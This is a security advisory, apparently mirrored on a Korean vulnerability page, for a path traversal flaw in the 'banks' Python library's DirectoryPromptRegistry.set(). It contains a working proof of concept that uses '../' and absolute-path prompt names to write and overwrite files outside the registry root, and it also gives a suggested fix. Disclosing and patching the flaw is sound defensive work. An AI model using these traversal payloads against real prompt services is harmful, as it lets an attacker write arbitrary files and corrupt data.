Banks: Path traversal in `DirectoryPromptRegistry.set()` allows arbitrary file write outside the registry root
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Summary
DirectoryPromptRegistry.set() interpolates the attacker-controllable Prompt.name into a Path expression with no canonicalization. An application that derives the prompt name from request data lets a caller write attacker-controlled bytes outside the configured registry directory.
Details
src/banks/registries/directory.py:44
1prompt_file = path / f"{prompt.name}.{prompt.version}.jinja" 2prompt_file.write_text(prompt.raw)Two failure modes:
- Relative traversal.
name="../victim/foo"resolves to<registry>/../victim/foo.0.jinja— outside the configured root. - Absolute-path bypass.
pathlibdocuments thatPath("/a") / Path("/b")returnsPath("/b"). Soname="/abs/path"discards the registry root entirely; the registry is never consulted.
The poisoned name is then persisted to index.json, so the out-of-root path keeps reconstructing on later _load() calls (directory.py:135-141). With overwrite=True, existing files at the target path are replaced.
Proof of Concept
1import tempfile 2from pathlib import Path 3from banks import Prompt 4from banks.registries import DirectoryPromptRegistry 5 6work = Path(tempfile.mkdtemp()) 7registry = work / "registry"; registry.mkdir() 8victim = work / "victim"; victim.mkdir() 9 10reg = DirectoryPromptRegistry(str(registry))11 12# (1) Relative traversal13reg.set(prompt=Prompt("pwn", name="../victim/pwned", version="0"))14print((victim / "pwned.0.jinja").read_text()) # 'pwn'15 16# (2) Absolute-path bypass — registry root is silently discarded17target = victim / "absolute_pwn"18reg.set(prompt=Prompt("abs pwn", name=str(target), version="0"))19print((victim / "absolute_pwn.0.jinja").read_text()) # 'abs pwn'20 21# (3) Clobber an existing file22existing = victim / "clobber_me"23existing.write_text("ORIGINAL\n")24reg.set(prompt=Prompt("CLOBBERED", name=str(existing), version="0"),25 overwrite=True)26print((victim / "clobber_me.0.jinja").read_text()) # 'CLOBBERED'Output (verified on banks==2.4.2):
1pwn 2abs pwn 3CLOBBEREDNegative control: with a benign name="okay-name", the file lands inside <registry>/ and the victim directory remains untouched.
Impact
Arbitrary file write at an attacker-chosen path with attacker-controlled bytes, scoped to whatever the application process can write to. The .0.jinja suffix limits some chains, but does not prevent overwriting templates consumed by the same or another application, planting files that other tooling ingests, or clobbering predictable-path config artifacts.
Realistic threat model: any "prompt management" service that exposes prompt creation through an authenticated API and forwards user-supplied name (and version) to Prompt(...) plus DirectoryPromptRegistry.set().
Suggested Fix
Reject obviously dangerous names early and verify the resulting path stays under the registry root after canonicalization:
1# src/banks/registries/directory.py 2import re 3 4_NAME_RE = re.compile(r"[A-Za-z0-9._-]+") 5 6@classmethod 7def from_prompt_path(cls, prompt, path): 8 if not _NAME_RE.fullmatch(prompt.name or ""): 9 raise InvalidPromptError(f"Invalid prompt name: {prompt.name!r}")10 if not _NAME_RE.fullmatch(prompt.version or ""):11 raise InvalidPromptError(f"Invalid prompt version: {prompt.version!r}")12 13 candidate = (path / f"{prompt.name}.{prompt.version}.jinja").resolve()14 if candidate.parent != path.resolve():15 raise InvalidPromptError(16 f"Prompt path escapes registry root: {candidate}"17 )18 19 candidate.write_text(prompt.raw)20 return cls(21 text=prompt.raw, name=prompt.name, version=prompt.version,22 metadata=prompt.metadata, path=candidate,23 )The same enforcement should run inside _load() and _get_prompt_file() so a poisoned index.json from a vulnerable run cannot keep escaping after upgrade.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 6
링크 내용 불러오는 중…